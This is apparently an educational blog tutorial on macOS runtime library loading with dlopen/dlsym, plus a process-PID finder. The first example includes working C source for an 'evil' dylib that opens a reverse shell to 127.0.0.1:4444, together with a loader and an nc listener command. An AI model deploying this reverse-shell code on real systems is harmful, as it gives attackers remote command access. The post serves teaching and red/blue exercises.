10 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

Today we’ll build two tiny, practical labs: load a dylib at runtime with dlopen(), enumerate processes and find PID of a target app for your simulations.

No exploits, no cross-process hijack - just clean primitives you can reuse in red/blue exercises. Works on Intel and Apple Silicon.

dlopen

What is dlopen? Based on apple manual:

void *dlopen(const char *path, int mode);

malware

This function returns a handle on success, or NULL on error (check dlerror()).

Common flags (for param mode):

RTLD_LAZY - resolve undefined symbols on first use (deferred).
RTLD_NOW - resolve immediately (fail fast if something’s missing).
RTLD_LOCAL - loaded symbols stay private to this object.
RTLD_GLOBAL - symbols become visible to subsequently loaded objects.
RTLD_NOLOAD - don’t load, just return handle if already loaded (macOS supports).
RTLD_DEEPBIND is Linux-only; not on macOS.

path == NULL returns a handle for the main program (good for dlsym on your own binary). If path is relative (or no slash), dyld uses its search rules (rpaths, loader/executable paths, env); prefer absolute paths for predictability.

Minimal usage like this:

void *h = dlopen("/absolute/path/to/plugin.dylib", RTLD_NOW | RTLD_LOCAL);
if (!h) { fprintf(stderr, "%s\n", dlerror()); return 1; }

void (*entry)(void) = (void(*)(void))dlsym(h, "plugin_entry");
if (!entry) { fprintf(stderr, "%s\n", dlerror()); return 1; }

practical example 1

First of all, create simple “malicious” library, something like this (evil.c):

/*
 * evil.c
 * running simple rev shell on macOS
 * author @cocomelonc
 * https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
 */
#include <stdio.h>
#include <syslog.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

void hackMe() {
  const char* ip = "127.0.0.1";
  struct sockaddr_in addr;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(4444);
  inet_aton(ip, &addr.sin_addr);

  int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));

  for (int i = 0; i < 3; i++) {
    dup2(sockfd, i);
  }

  char *const argv[] = {"/bin/zsh", NULL};
  execve("/bin/zsh", argv, NULL);
}

__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
  syslog(LOG_ERR, "dylib injection successful %s\n", argv[0]);
}

This is simple example with reverse shell on 127.0.0.1.

Then, let’s create the tiniest dlopen() loader. The code is pretty simple:

/*
 * hack.c
 * load library on macOS
 * author @cocomelonc
 * https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
 */
#include <dlfcn.h>
#include <stdio.h>

int main() {
  // malicious dylib
  void *handle = dlopen("./evil.dylib", RTLD_LAZY);
  if (!handle) {
    fprintf(stderr, "error: %s\n", dlerror());
    return 1;
  }

  // import and execute malicious function from lib
  void (*hackMe)() = dlsym(handle, "hackMe");
  if (hackMe) {
    hackMe(); // run malicious function
  }

  dlclose(handle);  // close handle
  return 0;
}

This is the minimal shape of runtime loading: build a tiny dylib that exports hackMe(), then load & call it.

demo

My local VM’s Kernel version is 24.4.0:

malware

Let’s go to see this in action. Compile dylib:

clang -dynamiclib -o evil.dylib evil.c

malware

Then compile our loader:

clang -o hack hack.c

malware

Prepare listener:

nc -l -p 4444

malware

And run:

./hack

malware

malware

malware

As you can see, everything is works perfectly! =^..^=

Also works for Apple Silicon (M1 in my case):

malware

malware

malware

malware

Note that this is dynamic loading inside your own process (not cross-process injection!). Perfect to explain dyld behavior, exports, and where defenders can see runtime loads.

This example loads the library at runtime with dlopen("./evil.dylib", RTLD_LAZY).

If you run:

otool -L ./hack

malware

you won’t see evil.dylib listed (no LC_LOAD_DYLIB record).

But if you run:

DYLD_PRINT_LIBRARIES=1 ./hack

malware

you’ll see evil.dylib mapped during execution.

If you did something like:

clang hack.c -L. -levil

(and exported hackMe properly), the loader would have a build-time dependency; otool -L would list evil.dylib, and dyld would load it on process start, not via dlopen.

But this is a slightly different story and maybe I will show it next time

practical example 2

How to find target process PIDs on macOS? Sometimes you need this. I have already done this for Windows and Linux

First of all we need to grabs a snapshot of all PIDs:

int bytes = proc_listpids(PROC_ALL_PIDS, 0, pids, sizeof(pids));
if (bytes <= 0) {
  perror("proc_listpids");
  return 1;
}

Then:

for (int i = 0; i < count; i++) {
  pid_t pid = pids[i];
  if (pid <= 0) continue;

  char name[PROC_PIDPATHINFO_MAXSIZE] = {0};
  char path[PROC_PIDPATHINFO_MAXSIZE] = {0};

  // procname
  if (proc_name(pid, name, sizeof(name)) <= 0) continue;
  // fullpath (sometimes not work!)
  proc_pidpath(pid, path, sizeof(path));

  int match = 0;
  if (icaseeq(name, target)) match = 1;
  else if (path[0] != '\0' && strcasestr(path, target)) match = 1;

  if (match) {
    printf("PID %d\tname=\"%s\"\tpath=\"%s\"\n", pid, name, path);
  }
}

What’s going on here? Walks the list; skip zeros/invalid. For each PID:

proc_name(pid, name, sizeof(name)) - short process name (reliable). proc_pidpath(pid, path, sizeof(path)); - full path (may be empty if blocked).

Then simple matching logic: case-insensitive exact name match, or case-insensitive substring in full path. For this we need simple helper function:

static int icaseeq(const char *a, const char *b) {
  for (;; a++, b++) {
    int ca = tolower((unsigned char)*a);
    int cb = tolower((unsigned char)*b);
    if (ca != cb) return 0;
    if (ca == 0)   return 1;
  }
}

Path can be blank on protected/system daemons; name still works.

So, the full source code looks like this hack2.c:

/*
 * hack2.c
 * find PID on macOS
 * usage: ./hack2 Safari
 * usage: ./hack2 "Google Chrome"
 * usage: ./hack2 /Applications/Safari.app
 * author @cocomelonc
 * https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libproc.h>
#include <unistd.h>
#include <ctype.h>

static int icaseeq(const char *a, const char *b) {
  for (;; a++, b++) {
    int ca = tolower((unsigned char)*a);
    int cb = tolower((unsigned char)*b);
    if (ca != cb) return 0;
    if (ca == 0)   return 1;
  }
}

int main(int argc, char **argv) {
  const char *target = (argc > 1) ? argv[1] : "Calculator";

  pid_t pids[8192];
  int bytes = proc_listpids(PROC_ALL_PIDS, 0, pids, sizeof(pids));
  if (bytes <= 0) {
    perror("proc_listpids");
    return 1;
  }

  int count = bytes / (int)sizeof(pid_t);
  for (int i = 0; i < count; i++) {
    pid_t pid = pids[i];
    if (pid <= 0) continue;

    char name[PROC_PIDPATHINFO_MAXSIZE] = {0};
    char path[PROC_PIDPATHINFO_MAXSIZE] = {0};

    // procname
    if (proc_name(pid, name, sizeof(name)) <= 0) continue;
    // fullpath (sometimes not work!)
    proc_pidpath(pid, path, sizeof(path));

    int match = 0;
    if (icaseeq(name, target)) match = 1;
    else if (path[0] != '\0' && strcasestr(path, target)) match = 1;

    if (match) {
      printf("PID %d\tname=\"%s\"\tpath=\"%s\"\n", pid, name, path);
    }
  }
  return 0;
}

demo 2

Let’s go to see everything in action. Compile it:

clang -o hack2 hack2.c

malware

Run some app, for example, Calculator:

malware

Run it and check:

./hack2 Calculator
pgrep -x Calculator

malware

As you can see, it works!

Another app, for example, Safari:

./hack2 Safari

malware

malware

As you can see, our simple logic founds all PIDs with string “Safari”! Perfect! =^..^=

practical example 3

While I was writing these articles, my colleagues had questions about the second param of dlopen function. Let me try to explain based on new example.

A slightly richer example for dlopen: a hack waits for a local trigger and then loads meow.dylib, calls meow_entry(), and we also log from the dylib’s constructor.

Let’s say we have meow plugin (dylib):

/*
 * meow.c
 * dylib for load library on macOS
 * author @cocomelonc
 * https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
 */
#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void meow_ctor(void) {
  syslog(LOG_NOTICE, "meow_ctor: dylib mapped.");
}

__attribute__((visibility("default")))
void meow_entry(void) {
  printf("[meow] meow-meow from dylib\n");
  syslog(LOG_NOTICE, "meow_entry: meow-meow from dylib");
}

Then create host app hack3.c:

/*
 * hack3.c
 * load library on macOS
 * author @cocomelonc
 * https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
 */
#define _DARWIN_C_SOURCE
#include <dlfcn.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>

static const char *kPluginPath  = "./meow.dylib";
static const char *kTriggerPath = "/tmp/meow_trigger";

static int trigger_present(void) {
  return access(kTriggerPath, F_OK) == 0;
}

int main(void) {
  printf("[hack] meow! waiting for trigger...\n");
  syslog(LOG_NOTICE, "hack: started");

  while (!trigger_present()) {
    usleep(200 * 1000); // 200 ms
  }

  printf("[hack] trigger seen. dlopen()...\n");
  void *h = dlopen(kPluginPath, RTLD_NOW | RTLD_LOCAL);
  if (!h) {
    fprintf(stderr, "dlopen failed: %s\n", dlerror());
    return 1;
  }

  void (*meow_entry)(void) = (void(*)(void))dlsym(h, "meow_entry");
  if (!meow_entry) {
    fprintf(stderr, "dlsym failed: %s\n", dlerror());
    return 1;
  }

  meow_entry();
  dlclose(h);
  printf("[hack] done.\n");
  return 0;
}

demo 3

If we compile all:

clang -dynamiclib -o meow.dylib meow.c

malware

clang -o hack3 hack3.c

malware

And then run:

./hack3

malware

Waiting….

And run on another terminal:

touch /tmp/meow_trigger

malware

So, if we check logs:

malware

Let’s unpack exactly what’s happening in that example?

You have a host process (hack) that does not link against the plugin (meow.dylib) at build time.
At runtime, the host decides when (and what) to load by calling:

dlopen("./meow.dylib",...);

Then, when a dylib is mapped by the macOS dynamic loader (dyld), dyld:

  1. maps the file into the process,
  2. resolves relocations/symbols (depending on flags),
  3. runs the library’s initializers (e.g., functions marked __attribute__((constructor))).

After dlopen returns a handle, the host looks up a specific exported symbol (meow_entry) via dlsym, gets a function pointer, and calls it:

void (*meow_entry)(void) = (void(*)(void))dlsym(h, "meow_entry");
if (!meow_entry) {
  fprintf(stderr, "dlsym failed: %s\n", dlerror());
  return 1;
}
meow_entry();

Finally, the host dlclose()s the handle (decreasing dyld’s refcount for that image).

This is dynamic code loading in your own process (not cross-process injection!).

In the demo, the “host” hack3 waits until a file /tmp/meow_trigger exists:

while (!trigger_present()) {
  usleep(200 * 1000); // 200 ms
}

That’s just a simple, reproducible local trigger to show delayed loading. You can replace it with anything (button click, CLI flag, socket message, etc.). The point is to demonstrate that loading happens at runtime, under your control, not at link time. (As I know, if you want something slicker, macOS offers kqueue/EVFILT_VNODE, FSEvents, or dispatch_source to watch filesystem changes without polling.)

Ok, what dlopen() actually does here? Let’s check our code:

void *h = dlopen("./meow.dylib", RTLD_NOW | RTLD_LOCAL);

We pass a fixed relative path ./meow.dylib. (Safer for a demo; in real apps prefer absolute paths, signature checks, and hardened runtime constraints.)

RTLD_NOW - resolve needed symbols eagerly during load (if something’s missing, dlopen fails immediately). Contrast with RTLD_LAZY, which defers resolution until first use.

RTLD_LOCAL - the plugin’s symbols are not made globally available to subsequently loaded libraries. If you wanted the plugin’s symbols to be visible to other dynamic loads, you’d use RTLD_GLOBAL.

In other words: RTLD_LOCAL keeps the plugin self-contained - its symbols won’t “leak” into the global namespace. RTLD_GLOBAL is useful when you intend other subsequent dlopens to resolve against the plugin’s symbols. That’s powerful but can cause symbol collisions - you must manage it carefully!

While inside dlopen, dyld:

  1. maps the Mach-O image (code/data segments),
  2. applies relocations/bindings,
  3. executes initializers, so your __attribute__((constructor)) runs before dlopen() returns. That’s why you’ll see the constructor’s syslog line even before you call meow_entry().

If anything fails, dlopen returns NULL and dlerror() tells you what (bad path, missing arch slice, code-sign/hardened runtime rejection, missing deps, etc.).

What about constructor? In the meow plugin:

__attribute__((constructor))
static void meow_ctor(void) {
  syslog(LOG_NOTICE, "meow_ctor: dylib mapped.");
}

This function runs automatically when the dylib is mapped (during dlopen). It’s a convenient place to log “I was loaded” or set up internal state. Symmetrically, you can use __attribute__((destructor)) for cleanup when the image is finally unloaded (refcount hits zero and dyld unmaps it).

Then, just dlsym() + calling the function:

void (*meow_entry)(void) = (void(*)(void))dlsym(h, "meow_entry");
if (!meow_entry) {
  fprintf(stderr, "dlsym failed: %s\n", dlerror());
  return 1;
}

meow_entry();

Again, here are some caveats to consider:

./meow.dylib depends on the current working directory. If you launch hack3 from another directory, it won’t find the plugin. Use absolute paths or compute them from argv[0] / bundle paths.

if meow_entry wasn’t exported (-fvisibility=hidden without explicit visibility("default")), dlsym fails.

always cast dlsym to the exact function type you exported.

dlopen/dlsym are process-wide operations; dyld maintains internal locks. Keep your own plugin init thread-safe.

conclusion

The post teaches macOS code-loading primitives in a safe lab. You’ll see the difference between runtime loading (dlopen + dlsym) and build-time linking (dyld loads your dylib before main), plus a tiny PID finder to locate target processes. The goal is to understand how code actually gets mapped, what artifacts it leaves. I’m not that good at blue team exercises but I think blue teams will understand and can detect or block it. As you can see, no exploits here - just clean mechanics you can reuse in red/blue drills/exercises.

I hope this post is useful for malware researchers, macOS/Apple security researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
macOS hacking part 6
macOS hacking part 7
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine